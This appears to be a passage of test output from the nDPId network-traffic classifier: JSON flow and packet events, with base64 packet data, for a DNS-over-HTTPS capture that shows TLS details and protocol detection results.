+00880{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":408,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":2,"flow_first_seen":946739389936,"flow_last_seen":946739390265,"flow_tot_l4_data_len":1731,"flow_min_l4_data_len":301,"flow_max_l4_data_len":1430,"flow_avg_l4_data_len":865,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.76.113.31","src_port":52028,"dst_port":8443,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh.seby.io","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02322{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":265099,"pkt_caplen":1464,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1464,"pkt_l4_len":1430,"pkt":"ZmZmZmZmRERERERECABFAAWq7z5AAC8G9+ctTHEfCgAAASD7yzz9Ej0SWq\/nalAQAfnqiwAAu9LAVBlO+s0L+nkwU4YXcw1SOmlRl+XSnXuO6tKFQ694AGFrib2S2f3BX7B1582XtNQQL\/1IwqS9eCXYJzjdfbbKDKnkw+MRH36zeNfFmebdTa26VGWOgnZNECwEpmFBvEXSt2RPI6ofb1vE32eZrFh79Bpuwp1PCG2ngGNn3Z\/o1aRMv577hTiLGHUP3zlCYCAacHiSAEi\/LQgxJOLyR9jugiMcNQxMzI9B1anoxyifvPkh2BJiEbyAypQ1hQGudgFCLTi2Txkt7Eu\/NIUQoPpDLsdh3lHWxNLyLEP9wpzBgp6l3ilL84X1Mk7ZHQuPK\/Oz4yfrJd+G7Oo6i1yrQ\/Adp3qU8KnQ9ptwaIVLOtg8g5ENilAbdYS7Ka3cZHFz4gvVtmLddRHiTcXVf5C1ypTeGluZMusSnmJOjPWY5fp5RP99ayjRwQRdkg+IcNHiO31ps8qxZvYyOJZ7Fb87gLgZwV0IUvyDuDbizEwr2XSGbMEZuVoSHx9QyUP+A3BPmqRGGD9RWvZIaULosdFkVeC1hEiNEcM30Eo27GhCBEkpzGPbQ95LfK337HDa9UlKAktQhKwG8\/hAtMIbbv5Noetnx3T81i7FzhkyHH\/C6g3BkR97pP7xxNGSesRAej+0SV1z2Ux2yezANH89JV1k9OQdFbMalrjLnx8kanK4YG3Zfke83pATlf6RAPV3lPyNNDQQypoZkugKEUxOXS7Rx2XEo0segrTQp7Q+35xLorFirg\/3rbokzMw54\/alVY08gHsLJlNmadq9IZ0Hjxo7ykUIQsSRH59BS476g7Zzq0D6LzWm8dRwgOJiFmUme9r5za2XErhkjyFFtknvfbQcxGFpshYQjf44nBtFebBI6Th81Pz6P4vS1Ab5Ldbe5kqW2W6OFyHBCtpJQLdqxOC1y4j8o1zpDr\/5I6fMit0JvTc1WNaN6qBFlg1P6Gaatd4VK3xOWgpdV7lGy9Cs1aJIggG2JQikJ7xxWvncFI3YNX\/j7e31omXzttI+wKWBnq3libBpSCKXTzvdWZpJ16RDkXLbmBFLlruWHpbIZvg3vh187AjFKcBshFCVg\/9CKx0tdclgUGbHqJ7E6OtJIm4m4kox5tzQjCDUJNS29SjoWoK9anOoaXw7azu80JwAvB5wDC4mKG4pcolzPcWCdGzgc4j\/1wLg0a7\/6J83Mv9Vwe7sgJa0WfVmJh67OWIpAbZv84XgLPcLVo5yXd6\/yWWRMvn+kXy6mm6tMTinzOpwIpfSCVQtp3DNLsEUsIkV1DrWVNbTPvH5GCVkQ8p3Lo5BGZ2lF4qqWWh0bwR33Xc69aAXaHUgKcezVe1FfG3x1Q3qp0cn65Dxae+n\/hfZa1KqbpdsxY\/eLTfFV7m+HIJAbLFSSzH7PU\/MSQj8rvEXnuHMSR3htHNgcZRMLZGZNMcEgX88HYGJMITbgLbQ1nfRTwzL8m8XTnhZtErha6pHrFlPsZ1RNjcoqZKgLKdMg2ezfrI8Jq0lQFzAOf3F4VPbIGq1krTP43rpCLbzYETrqQH8Xz467NmG5PHVJ3Hne12KAqQma4zC6YHwFBTwWUunyHc7Z86uw6NV1GMEfe39uxIB1Th3Q3mEC1zo37vRQUYEr8R3n9WX5ZtJpDmxGTtrG8c0JVrUZpjFnqPj2Uj069ivRfFVD19zTIWIWwVZHNTkf54z1SZJ+bsWwla3CC3KyaPHGsTreYdevDYggE2Ww91a5tn8NCHUwyaWPcCmBikp3+fKDZwg0dx3gKVzU8Hf9Km4EdsDin7gSeY7n3yByLcyqnB3hOSBc1nuPCEOi+hB9GXpEuBRdmMhQLcAelRdGq2lZwOE87jAboVg7rc+WH1wOyzCb4UJFuzyaFs37Li8enr+"} +02160{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":265198,"pkt_caplen":1330,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1330,"pkt_l4_len":1296,"pkt":"ZmZmZmZmRERERERECABFAAUk7z9AAC8G+GwtTHEfCgAAASD7yzz9EkKUWq\/nalAYAfkKnQAAxcNxhA6xEjxlZ373intfSZN4U2+G3f+XvEboDRbmKIP5AyWTb+VftsHBbQDGTbvv0P7GHMQw3FWpHoRzaT5OEEMGXspnLcQMdVJt\/tw1MUWxBTfFzOt+sZ8N\/710Gy4Bj3O\/a3UuTiB+rCwc6qF1hTKT9uD\/hxD5F9bhFMArqmoNvbpY+hI714HwnUz5zHHRRPjSvUySFd\/tIXbrfkjy9Pt8CYYSZpcLvasThOoVyKZp3Qahu4ZiiIlaT4DxIgT8QCtOzJk6I0Q+Kbi71T\/ntSeqr8eLumh5NjzrY5Kchjq8wfLl2k03ViB0CDn4D2UgwiwsDxkMNzqcb8lMMo1gQD4nSSe1HTKCEdTfjeW4m1KYSg\/2CHt2InMeTBNo4EypeUe95bQS\/4al6dlbxS90APbpxC1Ot15Wzla5emO42u677gdPk5x+IpL8d060ErBh1e0rU6rW10Ytu3ysEVjrHpjc83LTEuIvJWJjGzm7fiQIAH0WEfokQAs5rGZEJ9jo3\/cA+xY2Abi2E43T4hJyBHvCQsiGz7LLeaXhOK6ow\/DJSrzicaRq6iEow4oa\/dAxa\/lC\/z3sSXt1FO6I5i6G7U8iS4HSg4JXSdknkzeDAYa1M2UH7\/lqTXtUSwsOqRtyG8QAFMTP0toGOq+jpPVJ\/bfqK9adFd1Ihx473BktjS1eS+Az2RUelP0QamhyG4F\/HotBW64CkuYKqvBlw2M8\/dzezftJzkOkK9SnHzFsbvNm1WODcpOZvO5t\/ogDpFQmoaqVUG+vLQokK42qcP7L2zX3Rcuf5UTBJ3+3S7NmglMobsgnAjUg0fnt8R0VxabOYMarXg2ZlKgdQL3vskU9+YGbJRX\/4oLMm8qznuFxBUiib+oUxtWetjrrNbuk7FNn8WQfXcwwhcTYwgFJatUhqF2EZkTXG1hKlCTom6Clp\/04mCW4wkb9vn4Hv1mTFwMDAhmC4dDt\/pXp38eVi56\/Tc0W3NYb3fwfw2VL4VwasY08aApKk+QVkG8E4WM05dMzJ3tM+KhcV2KgLIeDtX9fuaPzVpJ+l1\/nE7aFrU\/hTzjh+iv9ijKlKaCHhWeLx+4hbwy9iyPZgVrruC++AKQNMCmkT6y3UOURSEZ7M7rToXFjCncVyfIw7wfxB92gr+1qP\/FgvI24PGb8QfU30XaQxNOCDF9LCpfMvKKwJfk5QrSyOTpnJJRSt5xFXiaDt1WVaBAcINL6OKcXAfQ1+K05oASvBKcWxj8IENa4PmDMAbzmQxlcEc0EsN+QoVJv7Ml5\/lBq0C3vaQNMcnpXpIW3ZflF4gFFEBgTG3iqnc8B4K6OdIINgawtBvSiQUdXYJ1bYulpxACvU9kDeJqcY5cJgm6\/uEyTGbWvDouNBuPwtrCrC0IZE1DwuQ6lVKbNp5McCtB0KMSePUvy2t\/bN5v5a347VTUdcaRBTTyL9KlSuC+BMMs9OrwmenbDUePO+6uOBvFaIdzF5\/4ywKnXN0cFOX82njBMRiouOaEA8scTx5CC9CHkqAXua7RnVt6UZ1Ix6mEDU+whUE48uYruJ\/bRj6e4hZx6NdRONMAwMXQBD5wVyxMQCrAsNjv2L5RU2SssVOmQgeKqZ\/mtiPFB31fsdX\/80b2eeE7Q2xITfJ5AWRW2NJ8xT61RsekPZQpNyd7\/bWUZXXwEySVpHNsXAwMANQ0O8C1pUHkvIH9BBA=="} +00475{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":265231,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"ZmZmZmZmRERERERECABFAABR70BAAC8G\/T4tTHEfCgAAASD7yzz9EkeQWq\/nalAYAfk2SgAAc4ENe0G5ulHSVo9U8Di2+Rff9T48vIN31l10ubtaT7+HT\/yeAS5vvgc="} +00508{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":269035,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoc15AAH4GKgoKAAABLUxxH8s8IPtar+dq\/RJHuVAYAfVfggAAFAMDAAEBFwMDADVH7Hx7szbovxeg7sgCYqLOBb\/Lc2wMoQRrRY34QP1teEeb2lYxKMTfAHOGcDkQ++N+1ELh6w=="} +00536{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":269195,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+c19AAH4GKfMKAAABLUxxH8s8IPtar+eq\/RJHuVAYAfVfmAAAFwMDAFEju3UGBClBg8GKld7geR39EUyZUIW+610btNHHYXt+WDZgetm2qZ3Hpd+Oxl7Z7Ru6vGxqBpzbhCaO3QIC9MCMgH7DwLaAaOHvLidBy9Xm9X8="} +00655{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":269402,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"REREREREZmZmZmZmCABFAADUc2BAAH4GKZwKAAABLUxxH8s8IPtar+gA\/RJHuVAYAfVf7gAAFwMDAKdTz+kULt+KULNDP5MG4yd1HawTRAQLZc7sGFyXyXagSYJIUhMvFoyHTqFN50W5VigrnqnPzxh5rFYPkTcgGl\/EH52X+QGkfDmuIqotrsTIuo7r5tVCnC1mei42U2ZLRJY7AmtMy6DiqNG7c8FOiVj8OcUquGKfn9r6\/uUnq7HSuGZzcB+oUVzmTPMgeJy01pwvPfnU9lDC+4\/qpp4LdoIjSL+83DMz7Q=="} +00529{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":269500,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3c2FAAH4GKfgKAAABLUxxH8s8IPtar+is\/RJHuVAYAfVfkQAAFwMDAEqTTud6EsJoMYPw6L5HTHsycb\/u\/BOgDuSuFhLxLRXZ0fJS0F4ixo2rqWHRxZxOpTV0gVloL2dm79vTsjpbNKXScMsUBtordSwTag=="} +00531{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":581220,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"ZmZmZmZmRERERERECABFAAB370FAAC8G\/RctTHEfCgAAASD7yzz9Eke5Wq\/orFAYAfd9RgAAFwMDAEp+kgyf2u1A2AlKxLld7p7QuM\/cz6OWK2UqygaSScY4M5SzmA3J4fq4rgGIOdpD5\/lWnDKEbeNtbMA5H0mTVckfrDT4Dar3JxUqwA=="} +00531{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":581413,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"ZmZmZmZmRERERERECABFAAB370JAAC8G\/RYtTHEfCgAAASD7yzz9EkgIWq\/o+1AYAfc6oAAAFwMDAEqQKnlapyrJwuMhUmVUzsExFJegsRhHoef5Y4L0WkZTGTK79Le+byLnTnCUS086wP3FK2WDVz+oQPMdg\/3sauTG\/ZghcxKIaq1TlQ=="} +00517{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":581661,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"ZmZmZmZmRERERERECABFAABw70NAAC8G\/RwtTHEfCgAAASD7yzz9EkhXWq\/o+1AYAfdWdAAAFwMDAEMg8HbtFuWhwF7IruCIuggSqbBmBxZuK6crxWHL3rGA4tMnHHTPKrutBFmivqmae6IoI0CtEWKpk1uU65IykWst8sQx"} +00463{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":581729,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHc2NAAH4GKiYKAAABLUxxH8s8IPtar+j7\/RJIn1AYAfVfYQAAFwMDABo4gQ0\/ti+GmkptcE2+fzBrSGCpuBrJi5HiKg=="} +01487{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":582718,"pkt_caplen":838,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":838,"pkt_l4_len":804,"pkt":"ZmZmZmZmRERERERECABFAAM470RAAC8G+lMtTHEfCgAAASD7yzz9EkifWq\/o+1AYAfc8BgAAFwMDAwvE4VKvhwzxAvyDSBmV\/HWW8jrle\/2tIQrCHtgM4SEn\/MUbhLTf4gE2RQUohu+XLi7hNVkAAiCXy9BUxG\/BHXX89qoktGZKutZimmLlY6nEIRetaVs9kfhl4nPV4JIbX2KBT87OOtrDwqwIPawgP5htuEMxTx4sui6fIeL9CH9yD2firPvONAFmSWcN\/MOC6JRs9IDxTASCNwcgykFjPX2groCYqkEB2WOvOn8\/wW4ERgWZc+WIMsPz3ki0aEqeVfOwxti3O3RM4RLv9va6MKucZz8qaINHcfN6EVYEx2p6GR6ZwHPuIqU8VTWtmJEJqO9d3\/vKEbpnddrcUuxj8SG\/2\/wjKwPdHi3VpOCOvichdJN5nG7ZTr+5FvOCf1SaXiv3OySrY41O4fmTcyIFogTcjoIIBJOakc50PdfaMpLiFcjUNgplla95StqW2vagjm+2PPwVs\/qJ2KNRTMe5Yjgc5FfrHDbfIpvKm3li\/9UUkot6OjGCiZUFkynZrKe3d\/RBplnqEJAWUc0uQFIYNGXD6GdIVIxFRtx3u45qdZkmqIJ0PtqT5cHl\/rXkJRbJU1xLPycijyQw8kll3MMhoLwLczGH1Li1Fl68nHwfTXWne39dFpB8N4OBRGbct8nzE51iY0mKXGz8ngE2xq\/3Ckzvyyl2IS2673ohAqyKdxS+fIV5vIvBQrzfVaIzh9WAvbckzqhehyJ15tbxoUU+GMvYR3G9jcBmIRoeK7doD1BQmj6iTlsq3uGJy3iI8piNfDXe6oczyaibYRyGS4+Ep4WgvZNMDwbFEkEx1OjqCVNf3qFhFkgslSFgUfyow6u2srbMLe\/zmzoP0Bu+b9qxQtbXq9VQFPNGXlUi\/ilUEAaiElrYJOtrhUYQufEmNHhllxHZ8vJn+serjRsYVN25u0UiE9HGAuVFqCpoP8ssTIW9z\/4MhqNwMgECvvzaWu6a2VpJe4rWFN+NVOW5E19pib89T77fsjxffi3TiwTkQT4o0UE6wags7O73cu2rrwTz4b0tCejkUo\/yVNYHoQ=="} +00564{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":583111,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACRc2RAAH4GKdsKAAABLUxxH8s8IPtar+ka\/RJLr1AYAfVfqwAAFwMDAGQTbp72Fcho4nrmgw40E8KxYIGuP0OPkWfS59V3PlW+86dER1\/SLENpVbWQOr2\/IvStSqCI+I4U7XIX8X0TVY4H836AapEtnh3hhTXQPIuOfgU\/m87qaWiOeWaecqoAAQYEbJRQ"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":425,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":946739390933,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"217.169.20.23","src_port":34036,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00803{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":933403,"pkt_caplen":337,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":337,"pkt_l4_len":303,"pkt":"REREREREZmZmZmZmCABFAAFDddBAAH4G12cKAAAB2akUF4T0AbuSPuOKlASrClAYAfavsgAAFgMBARYBAAESAwMYXSzw+8AvMstO05PQ7qPBj27f4mGkG8QM9OU7ZRFcuCDJZDN\/6VucUquGKl+O4ES6VCX4Z6V\/a7wGR73kRIiX4wAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACjAAAAEgAQAAANZG5zLmFhLm5ldC51awAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACAuLsKlIgLTs2y17K315yEyJxqnsCXfl0yS1kyaNKG0aQ=="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":425,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":946739390933,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"217.169.20.23","src_port":34036,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.aa.net.uk","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04634{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":967766,"pkt_caplen":3165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3165,"pkt_l4_len":3131,"pkt":"ZmZmZmZmRERERERECABFAAxPNc5AADgGUl7ZqRQXCgAAAQG7hPSUBKsKkj7kpVAYAfW6vgAAFgMDAHoCAAB2AwNggvgT348vLVfztyje+nh951Uui2O3z\/vCGwcNEmcL7CDJZDN\/6VucUquGKl+O4ES6VCX4Z6V\/a7wGR73kRIiX4xMCAAAuACsAAgMEADMAJAAdACCYu4Q1ZjtZfYUrS3fwrroPQafz4tTgHn9jgiQX2w0NexQDAwABARcDAwAgr2vUeHfWinGo7k2fDAirV2y2+2vt58RojQUfF3ywprIXAwMKEF7v66Q95J7Madk2ZEcExfHDptRh16jabZXVGAjSu6ZVpQdW9tsq8WD0VxRfdaushrVbrrTRIk5I0CixRifCcooy6c56kGsUxb8wL+Z+QNmR5uWAeV9nzzlGQpBhNwq90IzHQbBwHdfR22cB\/o+gnP0zKhtFT5pdVatUFFMBXYFPBfgmW+yElY9JLYGDSC\/IIw728fBQlRPlTOPnC6Bd8HZeDEbFd7L\/8oeIRd34AfymHYlFpxJ8CjS4xP7I5o8GpeBcv96KPHtYZV5dsMuE75XBxooOpL9Gr9IWBy6AEdPGcU29oVVhWirzJ93HxYSeGAAYTfsu16+HrpOMUAzFMOyXwLKfIjR9Jx84Zvi3ytxvu8IPsZAmQB9iLco+v\/PYNz44XswLq2rQZtIH4a7\/SiljnI7OvMEtw+9+0ohSjEBjqZNpZ4+Di4Oi4uvLSj90PiJtsiIz50r+luuFIJLrHS\/Bx2ooWNGmf8wIpBNOEoC8uYmbQEc0M0F6MgPM2\/Dc1rxiGmLW966znBcYtqEPAIF5LP4HjDzAMEtUySTvYC8cLBRrZgX4sNAbkCcpNw4QFS6erQa8jKBVOZjyMqQVsAikZDL76qZyWnWAbrLmD+ESPhH+LiOjwj\/BVLLmuPIqP2HgrWrkMLok\/KHXuIbZn7C1n58rcMZq7V+5f3gEi6kXuPOTozMsLixf3wStDsNPpLZW5vF+Opg\/HPuTYMBM+b2VDW0oQ+mGR3v0lSfTyZb2sccxT0\/YFa2\/gZNRs9igar59HBmzwzWtwto1Lj2+tqjOzo9Vxzmqr0QO+5jA9knewsPjci1iEHsBRvkAHDUo8mzkBfWBM8t9UZZElcDeWIg7oO2uY349FEzTQzJrCGLOJ20pc10E+6FXsRSoQcdecc2pqUoNYisiO4BgvfGVRTx3PyLsE2LqpgS5+upDBiBuHq9GTnvPUwfjHUOVZfhEY9kzfkMm52CF0hrFbS1FqZu2k5xWd1RZ+YdcxocleEJLDXEEeCaF2XJug2p3sgxI8AQfg96H0lHo6\/ce7YWyFTSQ5214Zlm5R8arc+k+FFIGpKsd1JRZDuMs6lUG2OcuW4k6GmXOA9lL00+Pu1LlWECRAA38IcMLlvDeoyIVPF5RKHTFbtFfFeynrkfS57BDgpnUQsOLofW+MsR51VSL7z5rFWkT+0yA0OJ4P5J1dZjOVbRrnPj+lP8KBidjvuv\/+vQR9AYL2FUFonbuHYQ6NUOJSyw\/q3koSUCoI9nF1rL5SbnJpgQ9XzQ2ozstAI1DR6AAJPio22EFuEDMEoFVvE\/liE+8UHQnOZNeIN8tMqUAL+WlkvDEcrehWMNUpY287pebSO3eZPDe3egHiaBMZQIlL4jO1lfEjJdr5RXvT9Uv4MVNGGGXCQtr4IWIfMjPSJmmedmBdcxMuZnxTJ7jKLERRom+1LtykcTtbFMZ6nwh7KNIt58CGrTH3Bh+ClGWC6JtjiLbGXtcN8TOs97BoUvfH2xS4muIblEv23sWDZt8uHBdYWb8qBII2zRRCNz4TWmEJd5WuNBsZajJ6+izq\/kuJOWcsJ\/3ClD+JPyh\/faP5RIOC8TtW52DI8iUXjhh0HYoQNP5CK\/yGELUKYphGmQcP1BV0e5C\/xs86j3J4Tqg0y4WesV3d0jU+gkOa\/xZNpDrlV+JnewVAhCkK2UsUk3C84VdKoqUnp9Pil5XcszuqrrK5fn2Ja3xJCvI9oUZYFRkj+cpcHiFBzHL8vrxujIbPqQsQDehofVoxDKQvUog5ZiOw9rqXCH+rf4pa2omETeM1OE52\/bijRwWFKerGk95vgv7mf\/pTz2jvStIe9mIenHJWL7PEZH9sdGDeZQKhralY5AEfcr8PAGFV0XOY4OvHkHHS\/kY45xH7Heg3RGSUSAkY6LhaxYZOH3vCb8pDwz4M8eJ0\/MawhboSpIfQdoDBfBZibpy+ix0cl6f9YHPnTxwCWpi11t8Y\/Ioe5G719Te12HR1+3LJDUG4+t8UMioCT3GNag7c5mMGY+V+40MlPf33OO2SuBDaNUe80cz9ZjBk5x+9\/8yZnlpBgJheqdBeGVTSfNj\/\/ykzVs+ovI3rQWJ7MtuR80iZzcYqQWbI4RBftGKVwyCcJOskMGArD6+UArYfVGIccM6l6ZaD9x6dkigf3LAHA30iuQXdDyjNpxgxl4iSK0oLixFkkGZE94ONcw\/GLLOMYGf3ZsNLQSPf2qyfAF5BKKKg7FAQid7pqgyCZp5F8XKbACdlEb9Lar38xOjvjnewcnGzD4Z6c9THtqSZcDPbz8aL6DmV9lXZmD6\/ccDsDkRU90nhHSMrUF5R8hxDMoP6Be02AohXJwQbll1wPcUEyYk+tfY7XoP1gsqXecmTp+tusAg1\/AwZK8oozX5LgL2HyoOuByw1lgzh0RLilH5JrY3yk0E\/jG5JRoV\/y41cG7xAhvYbSNXDFCXbKeSVI5tgPheZvJ9ZUyIfStt125MRChKnoA2n+mG9KzbpZpyVz66ndTD0j3XU1kDOqjF1\/SbGf1+fhwWGaMMcZUYzUS1y0NN++mGlj87\/Z\/u1peJJRpJLZAkwhE6\/qyvUgAeD6bdzGa3m+9PvZxqRFg4uO5BEHphZPz4E5S9y+qwaFy+ng2E0E\/+Mq99pz8NTeooSlgjy86miBLzf74wOBFSoHbVN0PHL56xSrx12FRC1SCfzqnzT4BREj4eRgr5sVcZJpcqB\/DJ16zqD31Cdz1F6VAt5mHD5hgyW+BhQO6jtpBgHqFisMVPWD18uXILfOEcLKzexTq0enEqkxPPztMgd3lKJoJoLn9D15r82RK7HhKsmZiDKUuCdmH3DjKAbtkj9uSMWDKDEZ7ALu1TTrcVpMz\/u916YJjVrsJ4zke1Y\/PKCwgQji1xX0Q1uKg+Qhmzj0YA6C\/ZB8hBOasuUjTVZER2lXZpSogcQcgdsx7P47du+ZkiOIevUp1ckurR953sVaD3ci+d3blInJn3V2H1nd41bCStQkPyhbrCiGVWDvB4NjqVSIh6ypL1X2Tez7o9uIFek3e\/KdLnjoJYgUoUCdBCeRBScD+0K+sqvZzi8z7OnTzhYK\/aCGv11HpK88nhB\/fu4rCw6Clf8iUvZmwOIdmA\/mXVezV7u9+Y+L4mJOPGGV+Ie7YQjoii0W0J9zldsek4JrCNAfpxxvmfZTghYCrVQJNlGcKyp+LE4s0nXJXsv8iOBmDMV\/qiHS\/RfVp0Al+GVjFpErgTgXH8uFG0eZxhSX5TnPtc5X3FjIRORKWkOyTX+MlnBU+yWrj3iWALBhonn7tNa85eK0vFJHHFGyQm3hMEk7psuYZdoK61bs1KKeUi4RTDX274TTDnDx\/vYrXCGEMbInwJeEUUq10Y0AUNC+ikXVAlZm5\/6b3SLH1mmyzy5AwgfbHNdBdm2h13eHYAHANjDp++p3nOFwMDARmCniHbpabBh0wmz+4GvD7gEaHTo1WwpHFuO0rRndT2cE+rB3NSEIZ\/OfAhdTV9eadRkxEucZ2zRFouLobhVj7VuatuyZROJYubLXxY0L2AD9VfNIXMUeRNHnXvmwyBiqm\/8ZuzuiYxPVzYGJuS41vYyyQm1ND0\/vWricRWNYCIXjgbSqk6PFYh1FVGYRV8SSt7kE3Z3NtrXGW3LuaKD8y